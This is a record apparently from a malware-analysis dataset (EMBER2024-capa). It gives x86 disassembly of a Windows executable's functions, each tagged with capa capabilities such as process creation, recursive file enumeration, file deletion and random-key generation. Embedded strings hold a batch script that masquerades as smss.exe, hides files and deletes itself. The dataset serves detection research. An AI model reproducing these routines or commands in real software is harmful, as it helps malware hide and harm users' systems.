joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40356a
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x754
push ebx
mov ebx, eax
push esi
push edi
test ebx, ebx
je 0x403743
cmp dword [ebp + 0xc], 0
je 0x403743
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea eax, [ebp - 0x750]
push eax
push dword [ebx]
call esi
mov edi, eax
lea eax, [ebp - 0x750]
push eax
push dword [ebx]
call esi
cmp eax, 0xffffffff
je 0x403743
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
test byte [ebp - 0x750], 0x10
je 0x4035f0
push 0x3c
pop ecx
mov edx, ecx
lea eax, [ebp - 0x88]
mov byte [eax], 0
inc eax
dec edx
jne 0x4035cc
mov eax, dword [ebx]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x88], ecx
mov dword [ebp - 0x6c], 1
lea eax, [ebp - 0x88]
jmp 0x4036e7
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
xor ecx, ecx
xor edi, edi
mov word [ebp - 0x500], ax
cmp dword [ebp + 0xc], ecx
jle 0x403638
push 0x4218d8
lea eax, [ebp - 0x500]
push eax
call esi
push dword [ebx + edi*4]
lea eax, [ebp - 0x500]
push eax
call esi
push 0x4218dc
lea eax, [ebp - 0x500]
push eax
call esi
inc edi
cmp edi, dword [ebp + 0xc]
jl 0x403608
xor ecx, ecx
push 0x44
pop edi
mov edx, edi
lea eax, [ebp - 0xd0]
mov byte [eax], 0
inc eax
dec edx
jne 0x403643
push 0x10
pop edx
lea eax, [ebp - 0x10]
mov byte [eax], 0
inc eax
dec edx
jne 0x403650
xor eax, eax
inc eax
mov word [ebp - 0xa0], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xd0]
push eax
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
lea eax, [ebp - 0x500]
push eax
push ecx
mov dword [ebp - 0xd0], edi
mov dword [ebp - 0xa4], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4036ee
xor edi, edi
mov word [ebp - 0x500], ax
cmp dword [ebp + 0xc], edi
jle 0x4036c2
push dword [ebx + edi*4]
lea eax, [ebp - 0x500]
push eax
call esi
push 0x4218ac
lea eax, [ebp - 0x500]
push eax
call esi
inc edi
cmp edi, dword [ebp + 0xc]
jl 0x4036a2
push 0x3c
pop ecx
mov edx, ecx
lea eax, [ebp - 0x4c]
mov byte [eax], 0
inc eax
dec edx
jne 0x4036ca
lea eax, [ebp - 0x500]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x30], 1
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push 8
pop ecx
push 0x7fffffff
push dword [ebp + 8]
xor eax, eax
lea edi, [ebp - 0xf0]
lea ebx, [ebp - 0xf0]
rep stosd dword es:[edi], eax
call fcn.0040394f
push eax
lea eax, [ebp - 0x500]
push 0x4218e4
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x500]
push eax
call fcn.004016c1
push eax
xor edi, edi
call fcn.00402aaf
test al, al
je 0x403743
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
xor al, al
pop ebx
leave
ret 8
Function at 0x40374c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x644
push ebx
push esi
push edi
push 1
push 0x208
lea eax, [ebp - 0x438]
push eax
call fcn.004016e2
test al, al
je 0x4038d5
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str..cmd
lea eax, [ebp - 0x438]
push eax
call esi
lea eax, [ebp - 0x438]
test eax, eax
jne 0x403797
or dword [ebp - 4], 0xffffffff
jmp 0x4037b0
push 2
lea eax, [ebp - 0x438]
push eax
call fcn.004047b2
mov dword [ebp - 4], eax
test eax, eax
je 0x4038d5
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, str._t_t_t_t_t_t_t_t__echo_del__0______TEMP_msicheck.cmd__n_t_t_t_t_t_t_t_t__echo_copy__y___SYSTEMROOT__system32ping.exe____TEMP__smss.exe_______TEMP_msicheck.cmd__n_t_t_t_t_t_t_t_t__echo_:z______TEMP_msicheck.cmd__n_t_t_t_t_t_t_t_t__echo_del__1______TEMP_msicheck.cmd__n_t_t_t_t_t_t_t_t__echo___TEMP__smss.exe__127.1__n
push edi
call ebx
xor ecx, ecx
cmp ecx, edi
je 0x4037ce
push eax
push edi
push dword [ebp - 4]
call fcn.00404878
push 0x14
lea eax, [ebp - 0x24]
push 0x4218fc
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
call ebx
lea ecx, [ebp - 0x24]
test ecx, ecx
je 0x4037fb
push eax
mov eax, ecx
push eax
push dword [ebp - 4]
call fcn.00404878
mov edi, str.__t_t_t_t_t_t_t_t_______TEMP_msicheck.cmd__n_t_t_t_t_t_t_t_t__echo_attrib__s__h__1______TEMP_msicheck.cmd__n_t_t_t_t_t_t_t_t__echo_if_exist__1_goto_z______TEMP_msicheck.cmd__n_t_t_t_t_t_t_t_t__echo_del___TEMP__smss.exe_______TEMP_msicheck.cmd__n_t_t_t_t_t_t_t_t__echo_del___TEMP_msicheck.cmd_______TEMP_msicheck.cmd__n_t_t_t_t_t_t_t_t____SYSTEMROOT__system32cmd.exe___c___TEMP_msicheck.cmd__n
push edi
call ebx
xor ecx, ecx
cmp ecx, edi
je 0x403813
push eax
push edi
push dword [ebp - 4]
call fcn.00404878
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0x104
push edi
lea eax, [ebp - 0x640]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
test eax, eax
je 0x40384d
cmp eax, edi
jae 0x40384d
push 0x4215d0
lea eax, [ebp - 0x640]
push eax
call esi
jmp 0x40385b
push str.cmd.exe
lea eax, [ebp - 0x640]
push eax
call ebx
push str.__c
lea eax, [ebp - 0x230]
push eax
call ebx
lea eax, [ebp - 0x438]
push eax
lea eax, [ebp - 0x230]
push eax
call esi
push 0x4218ac
lea eax, [ebp - 0x230]
push eax
call esi
mov edi, 0x4218d8
push edi
lea eax, [ebp - 0x230]
push eax
call esi
call fcn.004016c1
push eax
lea eax, [ebp - 0x230]
push eax
call esi
push edi
lea eax, [ebp - 0x230]
push eax
call esi
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x640]
push eax
lea edi, [ebp - 4]
call fcn.00402aaf
test al, al
je 0x4038d5
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x4038d7
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40394f
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x42d5ec], 0
jne 0x40399d
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
push edi
push 0xf0000040
push 1
push str.Microsoft_Strong_Cryptographic_Provider
push 0
mov edi, 0x42d5ec
push edi
call esi
test eax, eax
jne 0x40399b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x40399b
push 8
push 1
push 0
push str.MyKeyContainer
push edi
call esi
pop edi
pop esi
push ebx
push 0x20
push dword [0x42d5ec]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x4039b4
mov eax, dword [ebx]
jmp 0x4039de
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
movzx ecx, word [ebp - 2]
shl eax, 0xd
xor eax, ecx
xor eax, dword [0x42d5f0]
imul eax, eax, 0x19660d
add eax, 0x3c88596c
xor edx, edx
div dword [ebp + 0xc]
mov dword [0x42d5f0], edx
mov eax, edx
leave
ret 8
Function at 0x403ba4
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
push dword [ebp + 8]
call esi
push dword [ebp + 0xc]
mov edi, eax
mov dword [ebp - 0x14], edi
call esi
mov ebx, eax
lea eax, [ebx + 1]
lea esi, [edi + 1]
imul esi, eax
mov dword [ebp - 0x10], ebx
mov byte [ebp - 1], 0
cmp esi, 0x6400000
ja 0x403c1d
test esi, esi
jne 0x403be1
inc esi
add esi, 4
cmp dword [0x42ca0c], 0
jne 0x403bf6
call fcn.00405c10
test al, al
je 0x403c27
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push 8
push dword [0x42ca0c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
jne 0x403c18
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0xc], eax
jmp 0x403c21
and dword [ebp - 0xc], 0
cmp dword [ebp - 0xc], 0
jne 0x403c2e
xor al, al
jmp 0x403d4d
mov ecx, dword [ebp - 0xc]
mov eax, ebx
imul eax, edi
test eax, eax
je 0x403c41
mov byte [ecx], 0
inc ecx
dec eax
jne 0x403c3a
and dword [ebp - 8], 0
test edi, edi
je 0x403d21
mov edi, dword [ebp - 0xc]
sub edi, ebx
dec edi
xor esi, esi
test ebx, ebx
je 0x403cf9
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 8]
movzx eax, word [eax + ecx*2]
push eax
call fcn.00413718
mov bx, ax
mov eax, dword [ebp + 0xc]
movzx eax, word [eax + esi*2]
push eax
call fcn.00413718
pop ecx
pop ecx
cmp bx, ax
je 0x403ce5
mov eax, dword [ebp + 0xc]
movzx eax, word [eax + esi*2]
cmp eax, 0x3f
je 0x403ce5
cmp eax, 0x2a
jne 0x403ced
mov edx, dword [ebp - 8]
test edx, edx
je 0x403ca7
test esi, esi
je 0x403ca7
movzx eax, byte [edi + esi]
inc eax
jmp 0x403caa
xor eax, eax
inc eax
test edx, edx
je 0x403cb5
movzx ecx, byte [edi + esi + 1]
jmp 0x403cb8
xor ecx, ecx
inc ecx
cmp eax, ecx
jle 0x403ccb
test edx, edx
je 0x403cd6
test esi, esi
je 0x403cd6
movzx eax, byte [edi + esi]
inc eax
jmp 0x403cd9
test edx, edx
je 0x403cd6
movzx eax, byte [edi + esi + 1]
jmp 0x403cd9
xor eax, eax
inc eax
mov ebx, dword [ebp - 0x10]
lea ecx, [edi + ebx + 1]
mov byte [ecx + esi], al
jmp 0x403cf0
cmp dword [ebp - 8], 0
jbe 0x403cd6
jmp 0x403cc0
mov ebx, dword [ebp - 0x10]
inc esi
cmp esi, ebx
jb 0x403c5d
test byte [ebp - 8], 0x1f
jne 0x403d0d
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call esi
push 0
call esi
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
add edi, ebx
cmp eax, dword [ebp - 0x14]
jb 0x403c53
mov edi, dword [ebp - 0x14]
xor ecx, ecx
test edi, edi
je 0x403d42
mov eax, dword [ebp - 0xc]
lea eax, [eax + ebx - 1]
movzx edx, byte [eax]
cmp edx, ebx
je 0x403d3e
inc ecx
add eax, ebx
cmp ecx, edi
jb 0x403d2e
jmp 0x403d42
mov byte [ebp - 1], 1
push dword [ebp - 0xc]
call fcn.00405c44
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x403ebc
Capabilities:
Terminate process

Disassembly:
push ecx
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
cmp edi, esi
je 0x403fc2
cmp ebx, esi
jle 0x403fc2
push dword [esp + 0x14]
mov ecx, ebx
call fcn.00403d54
test al, al
je 0x403f44
cmp ebx, 0x6400000
jg 0x403f29
lea edi, [ebx + 4]
cmp dword [0x42ca0c], esi
jne 0x403f04
call fcn.00405c10
test al, al
jne 0x403f04
xor edi, edi
jmp 0x403f3d
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
push 8
push dword [0x42ca0c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, esi
jne 0x403f25
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, eax
jmp 0x403f2b
xor edi, edi
cmp edi, esi
je 0x403f3d
push ebx
push dword [esp + 0x14]
push edi
call fcn.00413290
add esp, 0xc
mov eax, edi
jmp 0x403fc4
lea edi, [ebx + ebx + 0x10]
cmp edi, 0x6400000
ja 0x403f87
cmp edi, esi
jne 0x403f57
xor edi, edi
inc edi
add edi, 4
cmp dword [0x42ca0c], esi
jne 0x403f6b
call fcn.00405c10
test al, al
je 0x403fbe
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
push 8
push dword [0x42ca0c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, esi
je 0x403f1e
mov esi, eax
test esi, esi
je 0x403fbe
lea eax, [ebx + 1]
push eax
push esi
push ebx
push dword [esp + 0x1c]
push 8
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jle 0x403fb0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x459
jne 0x403fb8
push esi
call fcn.00405c44
xor esi, esi
xor eax, eax
mov word [esi + ebx*2], ax
mov eax, esi
jmp 0x403fc4
xor eax, eax
pop edi
pop esi
pop ecx
ret 8

Function at 0x403fca
Capabilities:
Terminate process

Disassembly:
test edi, edi
jne 0x403fd1
xor eax, eax
ret
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [eax + eax + 2]
test esi, esi
js 0x40402d
cmp esi, 0x6400000
jg 0x40402d
test esi, esi
jne 0x403fee
inc esi
add esi, 4
cmp dword [0x42ca0c], 0
jne 0x404007
call fcn.00405c10
test al, al
jne 0x404007
xor esi, esi
jmp 0x40403b
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push 8
push dword [0x42ca0c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
jne 0x404029
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, eax
jmp 0x40402f
xor esi, esi
test esi, esi
je 0x40403b
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, esi
pop esi
ret
Function at 0x4043f5
Capabilities:
Create thread

Disassembly:
sub esp, 0xc
and dword [esp], 0
cmp dword [ebx + 0x4f00], 0
jle 0x404494
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
mov esi, 0x42ae98
lea edi, [ebx + 0x2c04]
mov ecx, dword [edi - 4]
lea eax, [esi - 8]
mov dword [eax], ecx
mov dword [esi - 4], ebx
mov ecx, dword [edi]
mov dword [esi], ecx
lea ecx, [edi + 0x10c]
mov dword [esi + 4], ecx
mov cl, byte [edi + 0x110]
mov byte [esi + 8], cl
lea ecx, [esp + 0x14]
push ecx
push 0
push eax
push 0x40436d
push 0x10000
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
mov dword [esp + 0x14], eax
call ebp
cmp dword [esp + 0x10], 0xffffffff
je 0x404471
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1f4
call ebp
inc dword [esp + 0xc]
mov eax, dword [esp + 0xc]
add edi, 0x118
add esi, 0x14
cmp eax, dword [ebx + 0x4f00]
jl 0x40441d
pop edi
pop esi
pop ebp
mov al, 1
add esp, 0xc
ret

Function at 0x40454f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
xor ebx, ebx
push esi
cmp dword [edi + 0x2bfc], ebx
jle 0x4045d2
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [edi + 0xa0c]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x1c]
push eax
push 0x40449a
push 0x10000
push 0
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
mov dword [ebp - 4], eax
call esi
cmp dword [ebp - 4], 0xffffffff
je 0x4045bb
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 8]
push dword [ebp - 4]
add dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xc8
call esi
add dword [ebp - 8], 0x118
inc ebx
cmp ebx, dword [edi + 0x2bfc]
jl 0x404570
pop esi
mov al, 1
pop ebx
leave
ret

Function at 0x40462d
Capabilities:
Create thread

Disassembly:
push ecx
push ecx
mov eax, dword [edi + 0x810]
test eax, eax
jg 0x404640
xor al, al
jmp 0x4046c9
push ebp
xor ebp, ebp
test eax, eax
jle 0x4046c6
push ebx
push esi
mov esi, 0x42ad10
lea ebx, [edi + 0x5a0]
xor eax, eax
lea ecx, [esp + 0x10]
push ecx
push eax
push esi
push 0x4045d8
push 0x10000
push eax
mov dword [esi], edi
mov dword [esi + 4], ebp
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0xc], 0xffffffff
je 0x4046aa
cmp byte [ebx - 4], 0
jne 0x40469b
push 0xffffffffffffffff
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esi + 8]
push dword [esp + 0xc]
add dword [ebx], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebp
add ebx, 0x14
add esi, 0xc
cmp ebp, dword [edi + 0x810]
jl 0x404654
pop esi
pop ebx
mov al, 1
pop ebp
pop ecx
pop ecx
ret
Function at 0x404726
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push 0
push 2
mov dword [ebp - 0x22c], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40474f
xor al, al
jmp 0x4047af
lea eax, [ebp - 0x22c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4047a6
push edi
mov edi, 0x429d04
lea eax, [ebp - 0x22c]
push edi
push eax
call fcn.00403518
pop ecx
pop ecx
cmp al, 1
jne 0x4047a5
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x404796
lea eax, [ebp - 0x22c]
push edi
push eax
call fcn.00403518
pop ecx
pop ecx
test al, al
je 0x4047a4
lea eax, [ebp - 0x22c]
push eax
push ebx
call esi
test eax, eax
jne 0x404783
pop esi
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ebx
leave
ret

Function at 0x4048cc
Capabilities:
Delete file
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
test ebx, ebx
jne 0x4048dd
xor al, al
jmp 0x404955
push edi
push 0x20
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push ebx
call edi
test eax, eax
jne 0x404951
cmp byte [ebp + 0xc], al
je 0x40494f
push esi
push 0x104
push ebx
lea eax, [ebp - 0x288]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 7
push dword [ebp + 8]
xor eax, eax
lea esi, [ebp - 0x80]
mov word [ebp - 0x80], ax
call fcn.004039ef
mov eax, esi
push eax
lea eax, [ebp - 0x288]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x288]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
pop esi
test eax, eax
jne 0x404946
push ebx
call edi
lea eax, [ebp - 0x288]
push eax
call edi
test eax, eax
setne al
pop edi
leave
ret 8
Function at 0x404959
Capabilities:
Check if file exists
Enumerate files on windows
Enumerate files recursively
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x464
push ebx
mov ebx, edx
push esi
push edi
mov dword [esp + 0x10], ecx
test ebx, ebx
jne 0x404979
xor al, al
jmp 0x404adb
cmp dword [ebp + 0x14], 0
je 0x404972
cmp byte [ebp + 0x10], 0
jne 0x40498b
cmp byte [ebp + 0xc], 0
je 0x404972
cmp dword [ebp + 8], 0
jl 0x404972
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
push ebx
lea eax, [esp + 0x1c]
push eax
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
cmp eax, 0xffffffff
je 0x4049c1
test al, 0x10
je 0x4049c1
push 0x421a50
lea eax, [esp + 0x1c]
push eax
call esi
lea eax, [esp + 0x220]
push eax
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x404972
test byte [esp + 0x220], 0x10
jne 0x404a14
cmp byte [ebp + 0xc], 0
je 0x404aad
push dword [ebp + 0x18]
lea eax, [esp + 0x224]
push eax
push ebx
push dword [esp + 0x1c]
call dword [ebp + 0x14]
add esp, 0x10
test al, al
je 0x404acf
jmp 0x404aad
push 0x421a58
lea eax, [esp + 0x250]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x404ab5
push 0x421a5c
lea eax, [esp + 0x250]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x404ab5
cmp byte [ebp + 0x10], 0
je 0x404a66
push dword [ebp + 0x18]
lea eax, [esp + 0x224]
push eax
push ebx
push dword [esp + 0x1c]
call dword [ebp + 0x14]
add esp, 0x10
test al, al
je 0x404acf
cmp dword [ebp + 8], 0
jle 0x404aad
push ebx
lea eax, [esp + 0x1c]
push eax
call edi
push 0x4215cc
lea eax, [esp + 0x1c]
push eax
call esi
lea eax, [esp + 0x24c]
push eax
lea eax, [esp + 0x1c]
push eax
call esi
push dword [ebp + 0x18]
mov eax, dword [ebp + 8]
push dword [ebp + 0x14]
mov ecx, dword [esp + 0x18]
push dword [ebp + 0x10]
dec eax
push dword [ebp + 0xc]
lea edx, [esp + 0x28]
push eax
call fcn.00404959
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x220]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4049dd
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
Function at 0x404ae4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
xor edi, edi
lea eax, [ebp - 0x20a]
push edi
push eax
call fcn.004130d0
add esp, 0xc
cmp dword [ebp + 8], edi
jne 0x404b1a
xor eax, eax
jmp 0x404bc3
push esi
mov dword [ebp - 4], edi
cmp dword [0x42ca08], edi
je 0x404b52
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x42ca08]
cmp dword [ebp - 4], 1
jne 0x404b52
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
jmp 0x404b65
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, edi
je 0x404b6d
cmp eax, esi
jb 0x404b7f
push 0x421a64
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp word [ebp + eax*2 - 0x20e], 0x5c
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x404bab
push 0x4215cc
lea eax, [ebp - 0x20c]
push eax
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x20c]
push eax
call esi
lea edi, [ebp - 0x20c]
call fcn.00403fca
pop esi
pop edi
leave
ret 4

Function at 0x404bc8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
xor eax, eax
push 0x206
mov word [ebp - 0x208], ax
xor esi, esi
lea eax, [ebp - 0x206]
push esi
push eax
call fcn.004130d0
add esp, 0xc
cmp dword [ebp + 8], esi
jne 0x404bfb
xor eax, eax
jmp 0x404c68
lea eax, [ebp - 0x208]
push eax
push esi
push esi
push 0x1c
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x404c23
push 0x421a64
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp word [ebp + eax*2 - 0x20a], 0x5c
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x404c4f
push 0x4215cc
lea eax, [ebp - 0x208]
push eax
call esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
call esi
lea edi, [ebp - 0x208]
call fcn.00403fca
pop edi
pop esi
leave
ret 4
Function at 0x404d1a
Capabilities:
Move file

Disassembly:
mov eax, 0x41d8b3
call fcn.004198ec
sub esp, 0x224
push ebx
push esi
push 1
push 0x104
lea eax, [ebp - 0x22c]
push eax
call fcn.004016e2
test al, al
je 0x404e14
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
call fcn.004017b9
push 1
push eax
lea esi, [ebp - 0x24]
mov dword [ebp - 0x14], eax
call fcn.00405d65
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x24], ebx
je 0x404e08
push dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
push dword [ebp - 0x24]
lea eax, [ebp - 0x14]
call fcn.0040178c
cmp al, bl
je 0x404e08
lea eax, [ebp - 0x22c]
test eax, eax
jne 0x404d96
or esi, 0xffffffff
jmp 0x404daa
push 2
lea eax, [ebp - 0x22c]
push eax
call fcn.004047b2
mov esi, eax
cmp esi, ebx
je 0x404e08
push dword [ebp - 0x14]
push dword [ebp - 0x24]
push esi
call fcn.00404878
push esi
cmp eax, ebx
je 0x404df2
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
call fcn.004048a5
test al, al
je 0x404dda
mov ebx, dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call fcn.004048cc
push dword [ebp + 0xc]
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x404e08
mov bl, 1
jmp 0x404df8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
lea esi, [ebp - 0x24]
call fcn.00405f2c
mov al, bl
jmp 0x404e16
or dword [ebp - 4], 0xffffffff
lea esi, [ebp - 0x24]
call fcn.00405f2c
xor al, al
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 0x10
Function at 0x4052e6
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x15bb0
call fcn.00419050
push ebx
mov ebx, dword [ebp + 0x10]
push esi
xor esi, esi
push edi
mov dword [ebp - 8], esi
cmp ebx, esi
je 0x405326
push esi
push ebx
call fcn.004047b2
mov edi, eax
cmp edi, 0xffffffff
je 0x405326
lea eax, [ebp - 0x1c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x405326
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
cmp ebx, esi
je 0x40540e
push esi
push ebx
call fcn.004047b2
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40540e
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push esi
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x405417
lea eax, [ebp - 0x15bac]
mov dword [ebp - 0x10], esi
test eax, eax
jne 0x405375
xor ebx, ebx
jmp 0x405398
push esi
lea eax, [ebp - 0x10]
push eax
push 0x15b90
lea eax, [ebp - 0x15bac]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, eax
neg ebx
sbb ebx, ebx
and ebx, dword [ebp - 0x10]
push 0xa
call edi
push esi
call edi
cmp ebx, esi
jbe 0x4053db
jmp 0x4053ac
push 0x493e0
call edi
push dword [ebp - 0x14]
mov esi, dword [ebp + 8]
push dword [ebp - 8]
lea eax, [ebp - 0x15bac]
push 0x28
push dword [ebp + 0x18]
push dword [ebp + 0xc]
push ebx
push eax
call fcn.0040242d
test al, al
je 0x4053a5
push 0xa
call edi
push 0
call edi
add dword [ebp - 8], ebx
xor esi, esi
cmp dword [ebp + 0x1c], esi
je 0x4053f6
push dword [ebp + 0x20]
push dword [ebp - 8]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
